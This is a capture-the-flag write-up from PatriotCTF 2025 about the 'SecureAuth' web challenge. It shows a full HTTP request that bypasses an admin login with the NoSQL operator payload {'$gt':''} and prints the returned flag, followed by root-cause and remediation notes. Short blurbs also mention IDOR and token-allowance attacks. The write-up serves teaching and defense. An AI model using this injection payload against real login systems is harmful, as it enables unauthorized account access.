•
•
•
•
•
•
•
•
The Ordinary PlayerThe Ordinary Player
HomePosts & WriteupsMembersContests

© 2025 - 2026 The Ordinary Player. All rights reserved.
Website theme & implementation © Rosemary (blog.rosemary.my.id)

•
The Ordinary PlayerThe Ordinary Player
HomePosts & WriteupsMembersContests

© 2025 - 2026 The Ordinary Player. All rights reserved.
Website theme & implementation © Rosemary (blog.rosemary.my.id)

Back to all writeups
Back to all writeups

Table of Contents

  • 🔐 SecureAuth™ Writeup - PatriotCTF 2025
  • Challenge Overview
  • Initial Testing
  • Vulnerability Discovery
  • Exploit Payload
  • Server Response
  • Root Cause
  • Remediation
  • Flag
Cyber Security
November 24, 2025•
... views
•2 min read
By Rosemary

🔐 SecureAuth™ (Web) - PatriotCTF

This writeup shows how the SecureAuth™ API in PatriotCTF 2025 could be bypassed using a NoSQL injection trick by sending a password field with a MongoDB operator, allowing instant admin access and revealing the flag.

#CTF#Web#NoSQLInjection#PatriotCTF

🔐 SecureAuth™ Writeup - PatriotCTF 2025

Challenge Overview

The target endpoint was an enterprise‑style authentication API:

POST /api/authenticate
Content-Type: application/json

Expected JSON format:

{
  "username": "string",
  "password": "string",
  "remember": boolean
}

The goal was to authenticate as an administrator and retrieve the flag.


Initial Testing

Wrong or missing Content-Type headers resulted in:

415 Unsupported Media Type
Invalid request format

Once a correct JSON request was sent such as:

{"username":"admin","password":"admin","remember":false}

The response changed to:

{"message":"Authentication failed","success":false}

This indicated that the request was being parsed properly and the authentication logic was reached.


Vulnerability Discovery

Typical password guessing failed, so input validation weaknesses were tested. The key idea was to check for a type coercion vulnerability occurring during password validation. Instead of using a normal string for the password, a MongoDB‑style operator was inserted:

"password": { "$gt": "" }

$gt means “greater than,” which can cause the backend to interpret this condition as always true if the database query isn’t sanitized properly.


Exploit Payload

solved

Full working request:

POST /api/authenticate HTTP/1.1
Host: 18.212.136.134:5200
Content-Type: application/json
Accept: application/json

{"username":"admin","password":{"$gt":""},"remember":true}

Server Response

This bypassed authentication entirely:

{
  "flag": "FLAG{py7h0n_typ3_c03rc10n_byp4ss}",
  "message": "Authentication successful",
  "role": "admin",
  "success": true,
  "user": "admin"
}

Root Cause

The backend likely used a database query such as:

db.users.find_one({"username": user, "password": pwd})

but without defensive input sanitation. When password is not treated strictly as a string, the query engine interprets the JSON object as a comparison operator, causing authentication to succeed.

This is a classic NoSQL Injection / Python type‑coercion authentication bypass.


Remediation

To prevent this vulnerability:

  • Perform strict type validation on all user‑supplied fields
  • Sanitize NoSQL operators in input
  • Hash passwords server‑side and compare values only after decoding
  • Replace direct query object merging with parameterized authentication logic

Flag

FLAG{py7h0n_typ3_c03rc10n_byp4ss}

Share this post

If you found this helpful, consider sharing it with your network!

Related Posts

  • Vorpal Masters (Web) - PatriotCTF

    This writeup reverses a small license binary from PatriotCTF 2025 to recover the valid key CACI-2025-PatriotCTF. By inspecting the format string, strcmp checks, byte-by-byte comparisons, and a simple arithmetic check on the numeric field, the three segments are revealed and assembled into the final license.

    November 24, 2025•3 min read
  • Trust Fall (Web) - PatriotCTF

    A product-catalog app in PatriotCTF 2025 hid an IDOR vulnerability behind a hard-coded read-only token. By probing the backend API, user data could be accessed simply by changing the ID in the request. Enumerating those IDs eventually revealed the root profile, which exposed the flag and confirmed the app’s missing authorization controls.

    November 24, 2025•3 min read
  • Timelock (Blockchain) - QnQSec 2025

    This writeup explains how the Timelock contract in QnQSec 2025 could be bypassed by abusing ERC-20 allowances. While the timelock blocked direct transfers from the player, it didn’t restrict transferFrom, allowing an attacker to drain the player’s tokens through an approved spender.

    November 1, 2025•3 min read
The Ordinary PlayerThe Ordinary Player
HomePosts & WriteupsMembersContests

© 2025 - 2026 The Ordinary Player. All rights reserved.
Website theme & implementation © Rosemary (blog.rosemary.my.id)